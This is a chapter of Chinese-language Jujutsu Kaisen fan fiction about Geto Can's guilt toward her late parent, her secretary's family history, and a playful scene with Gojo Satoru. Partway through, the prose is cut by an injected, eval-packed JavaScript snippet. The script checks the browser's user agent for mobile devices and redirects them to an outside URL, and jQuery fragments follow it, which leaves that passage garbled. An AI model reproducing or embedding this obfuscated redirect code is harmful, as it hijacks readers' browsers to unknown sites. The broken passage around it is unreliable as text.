夏油璨一直在为夏油杰不爱她找借口。
因为她始终都不能接受,妈妈不爱她这件事是理所当然的客观背景,无论如何都不会改变。
刚出生的时候,夏油璨给妈妈找的借口是自己不够好,于是努力让自己表现出夏油杰会喜欢的女儿的模样。
夏油璨一开始也是想过放弃夏油杰的,因为妈妈不来看她不让她出去,还想过杀掉她。她刚出生也是知道趋利避害的。
但妈妈会隔着院墙教她、与她交流,教会她掌握力量。
所以,她就想着,妈妈也不容易啊,他肯定是爱她的,肯定是有什么原因的。
好像也是这个时候开始,给妈妈找理由已经成为了一种习惯。
后来夏油杰死了,她才知道夏油杰最讨厌咒灵、诅咒之类的,一直教她的也不是夏油杰,而是羂索。给夏油杰找的借口也就变成了她的存在就是原罪。
——好吧,夏油杰的痛苦根源来自于咒灵之类的东西,她是诅咒,她得接受妈妈讨厌她。
让最讨厌咒灵的人生下诅咒什么的……她得理解他。而且他好好养了她这么多年呢,应该没有多么讨厌她吧?
所以,为了向妈妈赎罪,她会做好夏油杰希望她做好的一切。
安顿好盘星教剩余的人、解决羂索让夏油杰遗体安息、在有余力的基础上尽可能的让爸爸这边好过一点,甚至改变咒术界不让更多咒术师因为和夏油杰一样的原因崩溃……这些都是妈妈会希望她做的,也都是只有她能做到的。
夏油璨通通接受,也全部尽力去做了。
于是,她背叛对她耗费巨大心力的羂索,欺骗、隐瞒唯一会纯粹的爱她的爸爸,不为信任她的人们考虑长远未来地推进变化、理所当然的利用周围一切可利用的人……
这样的话,妈妈能不能,摒弃她是诅咒的前嫌,喜欢她一点了呢?
可是,做这些事情就算是她也会觉得很痛苦很难撑啊。
咒灵玉的味道像是擦过不可名状的抹布。
味觉扭曲,尝不出任何好的味道。
不敢跟任何人说心里话,没有人理解她。
不论是权力还是战斗都不能带给她真正的快乐。
夏油璨现在一闭眼仿佛就能看见那些失望的指责。复杂的情绪无法理解消化,不断撕扯着她。有余裕时想起来都觉得浑身发抖呼吸艰难,就连眼泪都流不出来。
她也想过就这么一了百了算了,可是认知告诉她:爱的诅咒不化解她完全就消失不了,去尝试也是得不偿失。
后路成了石墙,前路也只能看见一条。
别无选择,夏油璨只能不断安慰自己,这些都是值得的。
但现在,两面宿傩却突然告诉夏油璨,她其实是人类——两面宿傩没有撒谎的可能性。
好像,没办法再给妈妈找理由、欺骗自己了呢。
情况有点糟糕啊。
*
秘书——姑且就先用这个称呼不然也记不住——在上岗夏油璨的秘书之前,她也只是万千平平无奇的辅助监督中的一员,咒力低微,战力接近于无。除了术式很适合用来处理文书工作外,也没什么别的不一样的。
欣赏她术式的上司一直说以她的才能,可以再往上走,不要拘泥于底层,秘书通通都用自己不够自信拒绝了推荐的好意。
其实真实缘由是,她讨厌咒术师,更讨厌咒术界,对在咒术界往上爬不感兴趣,更不想成为何不食肉糜的大人物。
因为她有个术式还算强大的二级咒术师姐姐。
秘书小时候很讨厌姐姐。她一直以为父母是偏心继承了强大术式的姐姐,所以对她冷淡,就连姐妹俩吵架都要拉偏架。
长大一点后勉强也算接受了吧,术式强大好像确实是被偏心的合情合理的原因。她也渐渐接受了现实,自己搬出来住。
直到父母都出任务死于咒灵手里那天,她哭得很伤心。可是一向受到偏爱的姐姐却平静的接受了一切。
“爸妈都死了,你为什么不伤心?!你这人到底还有没有良心!”秘书就像一头执拗的小牛犊,姐姐走到哪里都跟在她身后,不停的质问她、指责她,仿佛这样就能够证明父母偏心眼是做错了一样。
“你是接触了太多咒灵,也变成咒灵了吗?!你这人——你这人简直就是猪狗不如!!”
似乎是触发了关键词,姐姐终于在饭碗中抬起埋着的脸,与她对视。她猝不及防之下被那死水一般的瞳孔吓了一跳,骂声骤停。
姐姐的眼睛,是这样的吗?
“抱歉,我现在已经没办法对同伴的逝去有什么情绪了。”姐姐黑漆漆的眼睛没有焦距一般。“我很抱歉,我现在一点也哭不出来。但是,请不要把我比作咒灵,可以吗?”
“————”秘书哑然。
秘书这才发现,多年不见的姐姐,术式强大的姐姐,被偏爱的姐姐,面上竟是一派麻木之色。
为什么那么受到眷顾的姐姐,却好像过得并不好呢?
鼻子一酸,眼泪立马就滚下来了。
她想起了那些文书上来来去去的人,想起了那些死亡名单。
倏然间,她终于拨开记忆的云雾,想起被忽略掉的细节,看清了父母的脸。
那也是两张麻木的脸,与现在的姐姐一般无二。
她忽然想清楚了让她辗转反侧的父母的心思。
——如果感情太好的话,互相投入太多的话,一方突然死去,被剩下的人会很难过吧。
而且,姐姐也很有可能有一天突然就死掉,她能活在世界上的时间全看运气。相比生来注定居于后方更安全的妹妹,她才是更需要爱,更需要及时行乐的人,不是吗?
想明白后,连她都觉得那时候的自己是在无理取闹了。
可是,为什么会觉得更加难过、压抑了呢?
是因为,她是个不知足、不能体谅别人的自私鬼吗?
秘书不闹了,她安静的回到自己的住处。姐姐站在门口送她,背后的灯光在黑夜中明明灭灭,仿佛一只随时会被吹灭的蜡烛。
之后都是浑浑噩噩得过且过。
不记得是哪天了,秘书听说,咒术界来了个不得了的大人物,好像跟御三家和盘星教有关,闹得还挺大呢。
但是这跟她又有什么关系呢?她们底层能好好活着就已经竭尽全力了,只要不对她们底层产生什么重大影响,上面如何变都和她没关系。秘书当时并没有把这件事放在心上。
然后,咒术界开启了一场瑰丽的变革。
一场谁都预料不到的,轰轰烈烈的,业火一般的变革,从咒术界上层开始一直烧到了底层,让世界都变得热切起来。
*
在医生口中确认夏油璨没有受伤,秘书才放心回到休息室,帮她找出留在这里的换洗衣物放在淋浴间门口,然后回去继续运用术式整理文件。
秘书得知今天现场状况的时候狠狠吓了一跳,在接到夏油璨后才勉强放下半颗心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633038|166624||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
回来路上小心翼翼地观察夏油璨。夏油璨面色如常地跟两面宿傩道别,面色如常地坐车回到总监部,在休息室洗澡换衣服,继续处理堆积如山的文件。
全程平静稳定,仿佛只是出了趟门而已。
不愧是阁下!果然还是她们经不起大事了,痴长这么多岁!
只是阁下在握笔的时候,时不时地有些手抖,是太累着了吗?
秘书忧心忡忡地给她按摩了一会儿手。
阁下可不能倒下啊,一定要活得长长久久,要活得比她们所有人都要久才行。多亏了她,咒术界才慢慢变好了一些。
秘书已经好久都不用担心姐姐作为咒术师出任务会回不来了,姐姐上次出任务回来还给她带了和果子。她现在和姐姐住在一起,放心地与姐姐互相投入感情。
如果阁下在这个时候出事,她们该怎么办啊?
哦,对了,可以跟五条先生说一声,阁下每次跟他相处后都会开心很多。五条先生出差一天也该回来了吧?
……
五条悟当天晚上就回来了。
夏油璨跟他大概说了下今天白天发生的事情,角度客观音调平齐,看不出半点异常。
冷光照得她眼下积起一片黑影。
五条悟静静听着,全程都没有插话。
他歪头看看夏油璨,在她说完后,突然提出一个请求。
“璨璨,悠人那边要不你去指导一下?”
夏油璨有些意外。“顺便休息一下吗?那倒是也可以,这边最近事情也差不多不忙了。不过爸爸怎么会突然这么想?”
她眉眼弯弯,瓷白的脸全然无暇。
“唔,就是,因为璨璨的理论知识很稳固嘛,但是爸爸的情况……你懂得啦,就不太适合教悠人。”
五条悟叹气,单手托脸忧愁。“都怪爸爸天赋太好了,完全没办法教别人嘛。”
夏油璨:“……爸,你在外面这样说话会被打的我跟你讲。”
“哎呀没关系啦反正爸爸是最强不怕被打。”五条悟潇洒一挥手,下一秒饿虎扑食死死抱住小小的女儿,开始干嚎。
“璨璨你就来帮帮爸爸吧!爸爸没了你可怎么办啊璨璨!璨璨……”
“好好好好好……”夏油璨连声无奈投降。试图挣开五条悟钢圈一样的双臂,没挣动。
夏油璨认命放弃,任由他抱着蹭蹭吸吸。“爹哎,你就仗着我宠你吧。”
“说吧,你对虎杖同学的学习安排?”
“嘻嘻,璨璨可是爸爸的小棉袄,宠下爸爸又怎么啦~”五条悟虚虚地把头搁在她肩膀上,把女儿往怀里带带,抱得更实了一些。“关于悠人的学习安排嘛——爸爸准备让他先别出任务,找个地方进行封闭式训练。过段时间就是两校的交流赛了,到时候一鸣惊人~”
夏油璨眨眨眼:“两校交流赛?”
“嗷嗷,璨璨进入咒术界后一直在忙,没关注细枝末节的地方也正常啦。没事,爸爸告诉你。”
五条悟给她大概讲了一下两校交流赛是怎么个规则和流程。
“懂了。”夏油璨自信点头:“是两校间的资源争夺赛。”
五条悟思思索索:“这么说倒也没错……总之,爸爸妈妈在的那一届,东京校可是没输过哦!”
此言一出,夏油璨的双眼登时就眯起来了。
她庄重:“我明白了。”
燃起来了。
哦,她这该死的top癌!